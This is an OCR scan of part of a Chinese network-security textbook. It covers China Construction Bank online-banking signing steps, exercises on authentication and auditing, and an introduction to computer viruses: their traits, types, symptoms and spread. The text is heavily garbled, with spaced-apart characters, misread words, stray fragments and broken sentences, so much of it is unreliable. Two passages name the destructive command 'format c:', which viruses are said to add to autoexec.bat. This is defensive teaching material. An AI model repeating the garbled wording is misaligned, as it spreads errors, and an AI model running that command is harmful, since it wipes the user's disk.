F 已 经 在 网 上 银行 登记 升级 的 普通 客户 (网 银 用 户 ) ,通常 还 需要 持 有 效 证 件 、 建 
证 书号 到 当地 建行 储蓄 柜台 进行 签约 。 并 在 柜台 签约 成 功 后 登录 网 上 银行 ,对 


在 柜台 登记 签约 的 账户 进行 签约 确认 ,成 为 网 上 银行 的 签约 客户 。 


对 于 


F 从 未 在 网 上 银行 进行 登记 的 用 户 , 可 以 直接 持 有 效 证 件 、 建 行 账户 到 当地 储蓄 


所 柜台 办 理 网 上 银行 签约 ,签约 成 功 后 ,登录 网 上 银行 ,根据 网 上 银行 的 提示 进行 用 户 激 


活 , 成 功 


后 ,成 为 网 上 银行 的 签约 客户 。 
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中 国 建设 良 行 网 上 银行 签约 流程 


欢迎 您 升级 成 网 上 银行 签约 客户 ,升级 成 为 网 上 银行 签约 客户 除 为 您 提供 普通 客户 的 所 有 服务 外 ,还 可 为 您 提供 多 种 
Asado 网 上 汇款 、 证 券 业务 、 会 券 基金 、 外 汇 买卖 等 丰富 的 服务 。 效 可 以 按照 以 下 步 又 升级 成 为 网 上 银行 签约 客 


* 14、 登录 网 上 银行 ,点击 : 
升级 为 签约 客户 -> 获得 证 书号 码 ; 下 载 证 书 -> 登录 网 上 银行 -》 局 用 证 书 保护 。 


> 2、 摸 带 身份 证 件 、 账 户 原 件 、 证 书号 码 前 往 柜台 进行 账户 答 约 确认 。 


> 3、 登 录 网 上 银行 ,点 击 : 
账户 管理 -> 账户 设置 -> 选择 要 签约 确认 的 账户 -点击 签 约 确认 


: :提示 : 
您 一 旦 选择 下 载 证 书后 ,以 后 使 用 网 上 银行 时 将 提示 您 是 否 使 用 启用 证 书 保护 ,启用 证 书 保护 将 可 使 用 签约 客户 的 全 
序 功能 ， 不 牛 用 证 书 保护 很 多 功能 格 不 能 使 用 。 


如 证 书 下 载 失 败 或 证 书 丢失 ， 您 可 以 终止 网 上 服务 后 ， 重 新 开通 网 上 服务 。 


: :请 牢记 称 的 证 书号 码 ， 在 柜台 办 悍 账户 签约 确认 时 需 提 供 ， 


证 书号 码 : 03183323y 


6-15 ”数字 证 书 下 载 页 面 


SEE: 客户 申请 成 为 网 银 普 通 客 户 后 ,可 以 进行 缴费 和 网 上 小 额 支付 , 若 拥有 转 
账 .汇款 和 大 额 网 上 支付 等 服务 ,必须 持 开户 证 件 和 建行 账户 到 任意 网 点 进行 签约 确认 。 


66 本 章 小 结 


身份 认证 和 访问 控制 是 网 络 安全 的 重要 技术 ,是 网 络 安全 登 人 的 首要 保障 。 本 章 概 
述 了 身份 认证 的 概念 、 种 类 以 及 常用 的 身份 认证 的 方式 、 方 法 ,简要 介绍 了 双 因 素 安 全 令 
牌 及 认证 系统 .用户 登 和 认证、 认证 授权 管理 案例 ,并 简要 介绍 了 数字 签名 的 概念 、 功 能 、 
种 类 、 原 理应 用 、 技 术 实现 方法 和 过 程 。 另 外 ,介绍 了 访问 控制 的 概念 原理、 类 型 .安全 
机 制 、 安 全 模式 安全 策略 .认证 服务 与 访问 控制 系统 、 准 入 控制 与 身份 认证 管理 案例 等 。 
最 后 ,介绍 了 安全 审计 概念 、 系 统 日 志 审 计 、 审 计 跟 踪 、 安 全 审计 的 实施 等 。 


67 练习 与 实践 六 


1. 选择 题 


(1) 加 密 的 作用 就 是 防止 有 价值 的 信息 在 网 上 被 ( 和 
A. 拦截 和 破坏 B. 拦截 和 窃取 C. 算 改 和 损坏 D. 算 改 和 窃取 
(2) 负责 证 书 申请 者 的 信息 录入 、 审 核 以 及 证 书 发 放 等 工作 的 机 构 是 ( 和 5 
A. 认证 中 心 CA B. 业务 受理 点 
C. 注册 机 构 RA D. LDAP 目录 服务 器 
(3) 在 ( ) 情 况 下 用 户 需 要 依照 系统 提示 输入 用 户 名 和 口令 。 
A. 用 户 在 网 络 上 共享 了 自己 编写 的 一 份 Office 文档 ,并 设 定 哪些 用 户 可 以 阅读 , 哪 
些 用 户 可 以 修改 
B. 用 户 使 用 加 密 软 件 对 自己 编写 的 Office 文档 进行 加 密 , 以 阻止 其 他 人 得 到 副本 
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后 看 到 文档 中 的 内 容 
C. 某 个 人 尝试 登入 到 你 的 计算 机 中 ,但 是 口令 输入 的 不 对 ,系统 提示 口令 错误 ,并 
将 这 次 失败 的 登入 过 程 记录 在 系统 日 志 中 


D. 其 他 情况 下 
(4) 以 下 ( ) 不 属于 AAA 系统 提供 的 服务 类 型 。 
A. 认证 B. 鉴 权 C. 访问 D. 审计 
(5) 不 论 是 网 络 的 安全 保密 技术 还 是 站 点 的 安全 技术 ,其 核心 问题 都 是 ( 3 
A. 保护 数据 安全 B. 系统 的 安全 评价 
C. 是 否 具 有 防火 墙 D. 硬件 结构 的 稳定 
(6) 数字 签名 用 于 保障 ( 3 
A. 机 密 性 B. 完整 性 及 不 可 否认 性 
C. 认证 性 D. 可 靠 性 
2. 填空 题 
(1) 认证 技术 是 网 络 用 户 身份 认证 与 识别 的 重要 手段 ,也 是 计算 机 网 络 安 全 中 的 一 
个 重要 内 容 。 从 鉴别 对 象 上 来 看 ,分 为 认证 和 认证 两 种 。 
(2) 数字 签名 利用 了 双重 加 密 的 方法 来 实现 信息 的 性 与 性 。 
(3) 安全 审计 有 3 种 类 型 ; š 和 
(4) 审计 跟踪 是 可 以 环境 与 用 户 行为 的 系统 活动 
记录 3 
(5) AAA 是 的 简称 ,基于 AAA 机 制 的 中 心 认证 系统 
适用 于 远程 用 户 的 管理 。AAA 并 非 是 一 种 具体 的 实现 技术 ,而 是 一 种 ñ 
3. 简 答题 


(1) 什么 是 数字 签名 ? 有 哪些 基本 的 数字 签名 方法 ? 

(2) 简 述 消息 认证 和 身份 认证 的 概念 及 两 者 的 差别 。 

(3) 简 述 安全 审计 的 目的 和 类 型 。 

(4) 简 述 证 书 的 概念 、 作 用、 获取 方式 及 其 验证 过 程 。 

(5) 身份 认证 的 技术 方法 有 哪些 ? 各 种 技术 方法 的 特点 是 什么 ? 


4. 实践 题 


(1) 练习 Windows 的 审计 系统 的 功能 和 实现 。 
(2) 查看 Windows Server 2016 安全 事件 的 记录 日 志 , 并 进行 分 析 。 
(3) 查看 个 人 数字 凭证 的 申请 、 颁 发 和 使 用 过 程 ,用 软件 和 上 网 练习 演示 个 人 数字 签 


名 和 认证 过 程 。 


计算 机 病毒 防范 


网 络 安全 问题 已 经 成 为 全 球 最 为 关注 的 问题 之 一 ,计算 机 病毒 在 网 络 安全 中 最 为 常 
见 , 对 各 种 网 络 的 安全 威胁 极 大 。 计 算 机 或 手机 等 终端 一 旦 感染 木马 等 病毒 , 极 可 能 遭 
到 恶意 攻击 、 破 坏 或 影响 ,甚至 导致 重大 损失 或 系统 瘫痪 。 掌 握 计算 机 病毒 的 相关 知识 ， 
有 助 于 更 好 地 采取 有 效 防范 措施 消除 各 种 安全 隐患 ,加强 安全 防范 。 


S 教 学 目标 


° 理解 计算 机 病毒 的 概念 、 产 生 、 特 点 及 种 类 。 

。 掌握 计算 机 病毒 的 构成 传播 触发 以 及 新 型 病毒 实例 。 
° 掌握 计算 机 病毒 与 木马 程序 的 检测 .清除 与 防范 方法 。 
° 了 解 恶意 软件 的 危害 与 清除 方法 。 

° 熟悉 360 安全 卫士 及 杀毒 软件 应 用 。 


71 计算 机 病毒 概述 


【案例 7-1] 海湾 战争 中 用 网 络 病 毒 攻击 取得 重大 战果 。 据 报道 ,1991 年 的 海湾 战 
争 是 美军 主导 的 一 场 大 规模 局 部 战争 。 美 国 在 伊拉克 从 第 三 方 国家 购买 的 打印 机 里 植 
入 可 远程 控制 的 网 络 病毒 ,在 开战 前 ,使 伊拉克 整个 计算 机 网 络 管理 的 雷达 预警 系统 全 
部 瘫 疾 。 美 国 还 首次 将 大 量 高 科技 武器 投入 实战 ,取得 了 压倒 性 的 制 空 、 制 电磁 优势 ,也 
是 世界 首次 公开 在 实战 中 用 网 络 病 毒 攻 击 取得 重大 战果 ,强化 了 美军 在 该 地 区 的 军事 优 
势 ,同时 为 2003 年 的 伊拉克 战争 黄 定 了 基础 。 


711 计算 机 病毒 的 概念 及 产生 
1. 计算 机 病毒 的 概念 


计算 机 病毒 (computer virus) 通 常 是 指 能 够 破坏 计算 机 (及 服务 器 .手机 、 平 板 等 ) 正 
常 工作 的 、 人 为 编制 的 一 组 计算 机 指令 或 程序 。 根 据 《 中 华人 民 共 和 国 计 算 机 信息 系统 
安全 保护 条 例 》, 对 计算 机 病毒 的 定义 规定 如 下 :“ 计 算 机 病毒 ,是 指 编制 或 者 在 计算 机 程 
序 中 插入 的 破坏 计算 机 功能 或 者 毁坏 数据 ,影响 计算 机 使 用 ,并 能 自我 复制 的 一 组 计算 
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机 指令 或 者 程序 代码 。” 

知识 拓展 ”计算 机 病毒 利用 硬件 或 软件 的 缺陷 进入 计算 机 系统 中 ,通过 不 断 地 复 
制 自身 占据 存储 空间 ,降低 计算 机 系统 功能 和 性 能 ,其 至 使 其 瘫 疾 。 此 外 ,计算 机 病毒 还 
可 以 将 自身 附着 在 不 同类 型 的 文件 上 ,使 其 作为 病毒 的 载体 ,通过 染 毒 文件 的 传播 与 传送 ， 
达到 破坏 计算 机 文件 和 系统 的 目的 ,给 计算 机 用 户 带 来 麻烦 ,造成 其 信息 财产 的 巨大 损失 。 


2. 计算 机 病毒 产生 及 命名 


1983 年 11 月 3 日 ,就 读 南 加 州 大 学 的 博士 研究 生 弗 雷 德 ，。 科恩 (Fred Cohen) fE 
UNIX 系统 下 编写 了 一 个 会 自动 复制 .并且 在 计算 机 间 进 行 传染 从 而 引起 系统 死机 的 小 
程序 。 此 后 ,科恩 为 了 证 明 其 理论 而 将 这 些 程序 以 论文 的 形式 发 表 在 学 术 研 讨 会 上 , 引 
起 秘 动 。 此 前 ,虽然 有 不 少 计 算 机 专家 都 发 出 过 计算 机 病毒 可 能 会 出 现 的 警告 ,但 科恩 
才 是 真正 通过 实践 让 计算 机 病毒 具备 破坏 性 的 概念 具体 成 形 的 第 一 人 。 他 的 一 位 老师 将 
他 编写 的 那 段 程序 命名 为 “病毒 *(Virus) ,现在 已 经 扩展 到 服务 器 手机、 平板 电脑 和 网 络 。 


712 计算 机 病毒 的 特点 
计算 机 病毒 与 普通 计算 机 程序 不 同 , 它 主要 具有 以 下 特点 。 
1. 潜伏 性 


一 般 情 况 下 ,计算 机 病毒 感染 系统 后 ,并 不 会 立即 发 作 攻击 计算 机 ,而 是 具有 一 段 时 
间 的 潜伏 期 。 潜 伏 期 长 短 一 般 由 病毒 程序 编制 者 所 设 定 的 触发 条 件 来 决定 。 


2. 传染 性 


计算 机 病毒 人 侵 系统 后 ,在 一 定 条 件 下 ,破坏 系统 本 身 的 防御 功能 ,迅速 地 进行 自我 
复制 ,从 感染 的 存储 位 置 扩散 至 未 感染 的 存储 位 置 ,通过 网 络 更 可 以 进行 计算 机 与 计算 
机 之 间 的 病毒 传染 。 


3. 破坏 性 


计算 机 系统 一 旦 感染 了 病毒 ,系统 的 稳定 性 将 受到 不 同 程度 的 影响 。 一 般 情况 下 ， 
计算 机 病毒 发 作 时 ,由 于 其 连续 不 断 的 自我 复制 ,大 部 分 系统 资源 被 占用 ,从 而 减缓 了 计 
算 机 的 运行 速度 ,使 用 户 无 法 正常 使 用 。 严 重 者 可 使 整个 系统 瘫痪 ,无 法 修复 ,造成 
损失 。 


4. 隐蔽 性 


计算 机 病毒 通常 会 以 人 们 熟悉 的 程序 形式 存在 。 有 些 病毒 名 称 往往 会 被 命名 为 与 
系统 文件 名 类 似 ,例如 假 正 图 标 Internet Explorer, 其 中 Internet 单词 的 一 个 n 被 改 为 
两 个 n, 很 难 被 用 户 发 现 , 一 旦 点 击 访问 这 些 图 标 指向 的 网 站 ,很 有 可 能 受到 钓鱼 或 挂 马 
威胁 ;又 如 文件 夹 EXE 病毒 ,其 图 标 与 Windows 默认 的 文件 夹 图 标 是 一 样 的 ,十 分 具有 
迷惑 性 , 当 用 户 双 击 打开 此 文件 夹 时 ,就 会 激活 病毒 。 


s@@: usnaena 


5. 多 样 性 


由 于 计算 机 病毒 具有 自我 复制 和 传播 的 特性 ,加 上 现代 传播 媒介 的 多 元 化 ,使 计算 
机 病毒 的 发 展 在 数量 与 种 类 上 均 呈 现 出 多 样 性 特点 。 


6. 触发 性 


一 般 情 况 下 ,计算 机 病毒 侵入 系统 后 ,并 不 会 立刻 发 作 ,而 是 较为 隐蔽 地 潜伏 在 某 个 
程序 或 某 个 磁盘 中 , 当 达 到 病毒 程序 所 设 定 的 触发 条 件 ,例如 设 定 日 期 为 触发 条 件 ,或 设 
定 某 个 操作 为 触发 条 件 , 当 条 件 满足 预 设 时 ,病毒 程序 立即 自动 执行 ,并 且 不 断 地 进行 自 
我 复制 和 传染 其 他 磁盘 ,对 系统 进行 破坏 。 例 如 March 25th 病毒 ,在 每 年 的 3 月 25 日 ， 
如 果 该 病毒 在 内 存 中 便 会 被 激活 。 


713 计算 机 病毒 的 种 类 


1. 根据 病毒 的 破坏 程度 划分 


1) 无 害 型 病毒 

无 害 型 病毒 主要 指 对 系统 和 数据 无 破坏 性 的 病毒 。 此 类 病毒 往往 以 画面 或 声音 的 
形式 使 感染 病毒 的 用 户 知道 其 存在 ,并 不 会 造成 严重 破坏 。 但 通常 此 类 病毒 的 存在 会 使 
CPU 占用 率 大 幅 升 高 ,增加 系统 负荷 ,降低 其 工作 性 能 。 典 型 的 无 害 型 病毒 有 “台湾 一 
号 ”病毒 “维也纳 ”病毒 等 。 

2) 危险 型 病毒 

危险 型 病毒 是 指 会 对 系统 和 数据 进行 破坏 ,造成 数据 丢失 ,甚至 整个 计算 机 系统 崩 
溃 的 一 类 计算 机 病毒 。 典 型 的 危险 型 病毒 有 “熊猫 烧香 "病毒 “ 极 虎 "病毒 等 。 

3) 毁灭 型 病毒 

毁灭 型 病毒 会 删除 程序 ,破坏 数据 ,清除 系统 内 存 区 甚至 是 操作 系统 中 重要 的 数据 
信息 。 除 对 软件 系统 造成 巨大 程度 破坏 外 ,毁灭 型 病毒 对 硬件 系统 的 破坏 同样 不 容 忽 
视 , 显 示 器 .CPU 光驱、 显卡 .主板 、 硬 盘 等 都 有 可 能 成 为 其 攻击 破坏 的 目标 。 典 型 的 毁 
灭 性 病毒 有 著名 的 CIH 病毒 “ 克 里 效 "病毒 (W32. Kriz) 和 * 拜 默 ” 病 毒 (W32. hllm. 
bymer) 及 其 变种 病毒 等 。 


2. 根据 病毒 侵入 的 操作 系统 划分 


1) DOS 病毒 

DOS 病毒 是 指 在 DOS 环境 下 运行 ,传染 的 计算 机 病毒 。 计 算 机 发 展 初期 多 为 DOS 
操作 系统 ,该 病毒 在 目前 普遍 使 用 的 Windows 环境 下 发 作 的 概率 很 小 。 

2) Windows 病毒 

Windows 病毒 是 指 能 感染 Windows 可 执行 程序 并 可 在 Windows 下 运行 的 一 类 病 
毒 。 目前 绝 大 部 分 用 户 安 装 的 都 是 Windows 系统 ,此 类 病毒 不 仅 能 感染 Windows 9X 操 
作 系 统 , 更 会 感染 安装 了 Windows NT 操作 系统 的 计算 机 。 
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3) Linux 等 系统 病毒 
此 类 病毒 为 针对 Linux .UNIX 等 操作 系统 开发 的 病毒 。 此 类 病毒 受 系统 免疫 力 及 
用 户 群 数量 影响 ,相对 来 说 病毒 数量 及 发 作 率 要 小 。 


3. 根据 病毒 依附 载体 划分 


1) 引导 区 型 病毒 

引导 区 型 病毒 是 指 以 磁盘 引导 区 或 主 引 导 区 作为 依附 载体 的 病毒 。 该 病毒 在 系统 
启动 过 程 中 人 侵 系统 ,并 依附 于 内 存 之 中 ,达到 监视 和 控制 整个 系统 的 目的 ,随时 可 以 发 
作 和 进行 传染 。 又 被 称 为 操作 系统 型 病毒 。 

2) 文件 型 病毒 

文件 型 病毒 以 其 数量 多 、 传 播 广 的 特点 ,成 为 计算 机 病毒 中 最 为 常见 的 一 类 病毒 。 
此 类 病毒 依附 于 系统 中 各 种 类 型 的 文件 上 ,对 宿主 文件 进行 算 改 ,一 旦 运行 宿主 文件 则 
激活 病毒 改作 。 又 称 为 外 壳 型 病毒 。 受 病毒 感染 较为 普遍 的 文件 类 型 有 . DOC 文件 、 
EXE 文件 、. COM 文件 .DLL 文件 .SYS 文件 等 。 

3) 复合 型 病毒 

复合 型 病毒 兼 具 引 导 区 型 病毒 和 文件 型 病毒 的 特点 。 这 种 病毒 利用 系统 漏洞 感染 
正常 的 可 执行 文件 ,本 地 网 页 文件 .电子 邮件 等 ,同时 又 感染 引导 区 ,例如 * 艾 妮 ? 复 合 型 
病毒 。 

4) 宏 病 毒 

宏 病 毒 是 一 类 以 文档 或 模板 的 宏 为 传播 载体 的 计算 机 病毒 。 宏 病毒 影响 对 文档 的 
各 种 操作 。 打 开 带 有 宏 的 文档 ,病毒 就 会 立即 改作, 并 留置 在 模板 中 。 通 过 该 模板 打开 
的 文档 或 自动 保存 的 文档 会 立刻 被 传染 宏 病 毒 ,并 可 随 移 动 设备 传播 扩散 至 更 多 的 计 
算 机 。 

5) 蠕虫 病毒 

蠕虫 病毒 虽 不 用 将 自身 依附 于 宿主 程序 ,但 此 类 病毒 需要 通过 网 络 这 个 载体 进行 复 
制 和 传播 。 其 主要 传染 途径 有 网 络 共享 文件 .电子 邮件 、 恶 意 网 页 .存在 着 漏洞 的 服务 器 
等 。 随 着 网 络 的 发 展 和 编程 技术 的 不 断 创 新 ,蠕虫 病毒 的 发 展 呈 爆炸 式 增长 趋势 ,同时 
衍生 出 了 大 量 病 毒 变 种 。 典 型 的 蠕虫 病毒 有 “熊猫 烧香 ”病毒 “超级 工厂 ”病毒 (Stuxnet 
病毒 )“ 快 捷 方式 ”蠕虫 等 。 


714 计算 机 病毒 发 作 的 异常 现象 


计算 机 在 感染 病毒 后 ,根据 中 毒 的 情况 会 出 现 不 同 的 症状 ,例如 ,系统 运行 速度 变 
慢 , 无 故 弹 出 对 话 框 或 网 页 ,用 户 名 和 密码 等 用 户 信息 被 自 改 ,其 至 是 死机 ,系统 瘫痪 等 。 


1. 计算 机 病毒 发 作 时 的 症状 


(1) 提示 与 当前 操作 无 关 的 对 话 。 操 作 时 提示 一 些 无 关 对 话 ,如 打开 感染 Word 宏 
病毒 的 文档 ,满足 发 作 条 件 时 会 弹出 “这 个 世界 太 黑 上 暗 了 !” 的 对 话 框 ,并 要 求 输入 “ 太 正 
确 了 ”后 单 击 “ 确 定 ” 按 钮 。 


s@= usnaspu 


191 


(2) 发 出 声响 。 一 种 恶作剧 式 的 计算 机 病毒 在 发 作 时 会 播放 一 些 音乐 。 

(3) 产生 图 像 。 也 是 恶作剧 式 的 病毒 ,如 小 球 病 毒 , 发 作 时 会 从 屏幕 上 落下 小 球 图 
案 。 这 类 病毒 只 在 发 作 时 影响 用 户 显 示 界 面 , 干 扰 正常 使 用 。 

(4) 硬盘 灯 不 断 闪 烁 。 当 对 硬盘 有 持续 大 量 的 读 写 操作 时 ,硬盘 的 灯 就 会 不 断 闪 烁 ， 
如 格式 化 或 写 和 大量 的 文件 。 有 时 对 某 个 硬盘 扇 区 或 文件 反复 读 取 的 情况 下 也 会 造成 
硬盘 灯 不 断 闪 烁 。 有 的 计算 机 病毒 会 在 发 作 时 对 硬盘 进行 格式 化 ,或 写 和 人 垃圾 文件 ,或 
反复 读 取 某 个 文件 ,致使 硬盘 上 的 数据 遭 到 破坏 。 具 有 这 类 发 作 情 况 的 基本 是 恶性 
病毒 。 

(5) 运行 算法 游戏 。 以 某 些 算法 游戏 中 断 运行 , 赢 了 才 可 继续 。 曾 流行 的 “台湾 一 
号 ” 宏 病 毒 在 系统 日 期 为 13 日 时 发 作 , 弹 出 对 话 框 让 用 户 做 算术 题 , 当 用 户 做 错 后 进行 
破坏 。 

(6) 桌面 图 标 发 生变 化 。 一 般 也 属 恶作剧 式 病 毒 ,将 Windows 默认 的 图 标 改 成 其 他 
样式 ,或 将 其 他 应 用 程序 ,快捷 方式 图 标 改 成 Windows 中 的 图 标 ,迷惑 用 户 。 

(7) 突然 重启 或 死机 。 有 些 病 毒 程序 兼容 性 有 问题 ,代码 无 严格 测试 ,发 作 时 会 出 现 
意外 情况 ,或 在 autoexec. bat 中 添加 了 format c: 等 破坏 命令 , 当 系 统 重启 后 实施 。 

(8) 自动 发 送 邮件 。 很 多 邮件 病毒 都 采用 自动 发 送 的 方式 进行 传播 ,或 在 某 一 时 刻 
向 同一 个 邮件 服务 器 发 送 大 量 无 用 信件 ,以 阻塞 该 邮件 服务 器 的 正常 服务 功能 。 

(9) 自 移动 鼠标 。 用 户 没 有 进行 操作 ,也 没有 运行 任何 程序 ,而 屏幕 上 的 鼠标 却 自 移 
动 , 应 用 程序 在 运行 ,这 可 能 是 受 远程 黑客 遥控 或 病毒 发 作 。 


2. 计算 机 病毒 发 作 的 后 果 


绝 大 部 分 计算 机 病毒 都 属于 恶性 病毒 ,发 作 后 常会 带 来 重大 损失 。 和 恶性 计算 机 病毒 
发 作 后 的 情况 及 造成 的 后 果 如 下 : 

(1) 硬盘 无 法 启动 ,数据 丢失 。 病 毒 破坏 硬盘 的 引导 扇 区 后 ,无 法 从 硬盘 启动 系统 。 
病毒 修改 硬盘 的 关键 内 容 ( 如 文件 分 配 表 、 根 目录 区 等 ) 后 ,可 使 保存 的 数据 丢失 。 

(2) 文件 丢失 或 被 破坏 。 病 毒 删除 或 破坏 系统 文件 .文档 或 数据 ,可 能 影响 系统 
启动 。 

(3) 文件 目录 混乱 。 目 录 结 构 被 病毒 破坏 ,目录 扇 区 为 普通 扇 区 , 填 人 无 关 数 据 而 难 
以 恢复 。 或 将 原 目 录 区 移 到 硬盘 其 他 扇 区 ,可 正确 读 出 目录 扇 区 ,并 在 应 用 程序 需要 访 
问 该 目录 时 提供 正确 目录 项 ,表面 看 一 切 正常 。 无 此 病毒 后 ,将 无 法 访问 到 原 目 录 扇 区 ， 
但 有 时 目录 可 恢复 。 

(4) BIOS 程序 混乱 使 主板 遭 破坏 。 如 同 CIH 病毒 发 作 后 的 情形 ,系统 主板 上 的 
BIOS 被 病毒 改写 ,致使 系统 主板 无 法 正常 工作 ,计算 机 系统 被 破坏 。 

(5) 部 分 文档 自动 加 密 。 病 毒 利 用 加 密 算法 ,将 密 钥 保存 在 病毒 程序 内 或 其 他 隐蔽 
处 ,使 感染 的 文件 被 加 密 , 当 内 存 中 驻 留 此 病毒 后 ,系统 访问 被 感染 的 文件 时 可 自动 解 
密 , 不 易 察 觉 。 一 旦 此 种 病毒 被 清除 ,被 加 密 的 文档 将 难以 恢复 。 

(6) 计算 机 重启 时 格式 化 硬盘 。 在 每 次 系统 重新 启动 时 都 会 自动 运行 autoexec. bat 
文件 ,病毒 通过 修改 此 文件 ,并 增加 format c: 项 ,从 而 达到 破坏 系统 的 目的 。 
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(7) 导致 计算 机 网 络 瘫痪 ,无 法 正常 提供 服务 。 
通常 , 当 终 端 出 现 表 7-1 列 出 的 异常 现象 时 , 则 有 可 能 是 病毒 发 作 。 


表 7-1 计算 机 病毒 发 作 时 的 异常 现象 


非 联网 状态 下 联网 状态 下 
无 法 开机 不 能 联网 或 上 网 
计算 机 蓝屏 联网 或 上 网 缓慢 
开机 启动 速度 变 慢 文件 下 载 或 打开 异常 
系统 运行 速度 慢 自动 弹出 多 个 网 页 
无 法 找到 硬盘 分 区 杀毒 软件 不 能 正常 升级 
开机 后 弹出 异常 提示 信息 或 声音 使 用 网 络 功能 操作 异常 
文件 名 称 .扩展 名 .日 期 以 及 属性 等 被 非 人 为 方式 进行 更 改过 
数据 非常 规 丢 失 或 损坏 
无 法 打开 、 读 取 、 操 作文 件 
硬盘 存储 空间 意外 变 小 
计算 机 无 故 死机 或 自动 重启 
CPU 利用 率 接近 100% 或 内 存 占用 值 居 高 不 下 
计算 机 自动 关机 
乓 讨论 思考 


(1) 什么 是 计算 机 病毒 ? 
(2) 计算 机 病毒 具有 什么 典型 特征 ? 
(3) 计算 机 感染 病毒 的 异常 现象 有 哪些 ? 


72 计算 机 病毒 的 构成 与 传播 


721 计算 机 病毒 的 构成 
计算 机 病毒 一 般 由 3 个 单元 构成 : 引导 单元 、 传 染 单元 .触发 单元 。 
1. 引导 单元 


通常 ,计算 机 病毒 程序 在 感染 计算 机 之 前 ,首先 需要 先 将 病毒 的 主体 以 文件 的 方式 
安装 在 具体 的 各 种 计算 机 (服务 器 .手机 、 平 板 等 ) 存 储 设备 中 ,为 其 以 后 的 传染 程序 和 触 
发 影响 等 做 好 基本 的 准备 工作 。 不 同类 型 的 病毒 程序 使 用 不 同 的 安装 方法 ,多 数 使 用 隐 
项 方式 ,在 用 户 点 击 假冒 网 站 应 用 软件 或 邮件 附件 时 自动 下 载 安装 。 


2. 传染 单元 


传染 单元 主要 包括 3 部 分 内 容 : 
(1) 传染 控制 模块 。 病 毒 在 安装 至 内 存 后 获得 控制 权 并 监视 系统 的 运行 。 
(2) 传染 判断 模块 。 监 视 系统 , 当 发 现 被 传染 的 目标 时 ,开始 判断 是 否 满足 传染 


s@: usnuspu 


193 


条 件 。 
(3) 传染 操作 模块 。 一 旦 满足 传染 条 件 , 则 将 病毒 写 人 磁盘 的 特定 位 置 。 


3. 触发 单元 


触发 单元 包括 两 部 分 : 一 是 触发 控制 , 当 满足 一 个 触发 条 件 时 病毒 就 发 作 ; 男 一 个 是 
破坏 操作 ,满足 破坏 条 件 时 病毒 立刻 进行 破坏 ,不 同 病 毒 有 不 同 的 操作 方法 ,如 不 满足 触 
发 条 件 或 破坏 条 件 则 潜伏 或 隐蔽 。 


722 计算 机 病毒 的 传播 


传染 性 是 计算 机 病毒 最 危险 的 特点 之 一 。 计 算 机 病毒 潜伏 在 系统 内 ,用 户 在 不 知情 
的 情况 下 进行 相应 的 操作 激活 触发 条 件 ,使 病毒 得 以 由 一 个 载体 传播 至 另 一 个 载体 , 完 
成 传播 过 程 。 随 着 计算 机 的 广泛 普及 应 用 以 及 互联 网 的 飞速 发 展 , 计 算 机 病毒 的 传播 也 
从 传统 的 常用 交换 媒介 传播 逐渐 发 展 到 通过 互联 网 进行 全 球 化 的 传播 。 目 前 ,计算 机 病 
毒 的 主要 传播 途径 有 以 下 几 种 : 


1. 移动 式 存储 介质 


移动 存储 介质 主要 包括 软盘 、 光 盘 、DVD、 硬 盘 、 闪 存 、U 盘 、CF F.SD 卡 、 记 忆 棒 
(memory stick) ,移动 硬盘 等 。 移 动 存储 介质 以 其 便携 性 和 大 容量 存储 性 为 病毒 的 传播 
带 来 了 极 大 的 便利 ,这 也 是 它 成 为 目前 主流 病毒 传播 途径 的 重要 原因 。 例 如 ,“U 盘 杀 
手 ”(Worm_Autorun) 病 毒 是 一 个 利用 U 盘 等 移动 设备 进行 传播 的 蠕虫 。autorun. inf X: 
件 一 般 存在 于 U 盘 、MP3 \ 移 动 硬盘 和 硬盘 各 个 分 区 的 根 目录 下 , 当 用 户 双 击 U 盘 等 设 
备 的 时 候 , 该 文件 就 会 利用 Windows 系统 的 自动 播放 功能 优先 运行 autorun. inf 文件 ,而 
该 文件 就 会 立即 执行 所 要 加 载 的 病毒 程序 ,从 而 破坏 用 户 计算 机 ,使 用 户 计算 机 遭受 


2. 网 络 传播 
病毒 的 网 络 传播 途径 有 以 下 几 个 。 
1) 电子 邮件 


电子 邮件 是 病毒 通过 互联 网 进行 传播 的 主要 媒介 。 病 毒 主要 依附 在 邮件 的 附件 中 ， 
而 电子 邮件 本 身 并 不 感染 病毒 。 当 用 户 下 载 附 件 时 .计算 机 就 会 感染 病毒 ,使 其 人 侵 至 
系统 中 ,伺机 改作。 由 于 电子 邮件 一 对 一 ,一 对 多 的 这 种 特性 ,使 其 在 被 广泛 应 用 的 同 
时 ,也 为 计算 机 病毒 的 传播 提供 一 个 良好 的 渠道 。 

2) 下 载 文件 

病毒 被 捆绑 或 隐藏 在 互联 网 上 共享 的 程序 或 文档 中 ,用 户 一 旦 下 载 了 该 类 程序 或 文 
件 而 不 进行 查 杀 病毒 ,感染 计算 机 病毒 的 概率 将 大 大 增加 。 病 毒 可 以 伪装 成 其 他 程序 或 
隐藏 在 不 同类 型 的 文件 中 ,通过 下 载 操作 感染 计算 机 。 

3) 浏览 网 页 

当 用 户 浏 览 不 明 网 站 或 误 入 挂 马 网 站 时 ,病毒 便 会 在 系统 中 安装 病毒 程序 ,使 计算 
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机 不 定期 地 自动 访问 该 网 站 ,或 窃取 用 户 的 隐私 信息 ,给 用 户 造成 损失 。 

4) 聊天 通信 工具 

QQ、MSN ,飞信 、Skype 等 即时 通信 聊天 工具 ,无 疑 是 当前 人 们 进行 信息 通信 和 与 数据 
交换 的 重要 手段 之 一 ,成 为 网 上 生活 的 必 备 软件 ,由 于 通信 工具 本 身 安全 性 的 缺陷 ,加 之 
聊天 工具 中 的 联系 列表 信息 量 丰 富 , 给 病毒 的 大 范围 传播 提供 了 极为 便利 的 条 件 。 目 
前 , 仅 通过 QQ 这 一 种 通信 聊天 工具 进行 传播 的 病毒 就 达 百 种 。 

5) 移动 通信 终端 

通过 移动 通信 终端 进行 病毒 传播 也 是 当前 病毒 发 作 的 一 种 流行 趋势 ,手机 作为 最 典 
型 的 移动 通信 终端 ,以 其 高 普及 率 及 低 安 全 防御 能 力 成 为 当前 一 种 新 型 的 病毒 传播 途 
径 。 具 有 传染 性 和 破坏 性 的 病毒 会 利用 发 送 的 手机 短信 、 彩 信 、 无 线 网 络 下 载 歌 曲 、 图 
片 文件 等 方式 传播 ,由 于 手机 用 户 往 往 在 不 经 意 的 情况 下 接收 读 取 短信 、 彩 信 , 通 过 直 
接点 击 网 址 链接 等 方式 获取 信息 ,让 病毒 毫 不 费力 地 入 侵 手 机 进行 破坏 ,使 手机 无 法 正 
常 使 用 。 


723 计算 机 病毒 的 触发 与 生存 


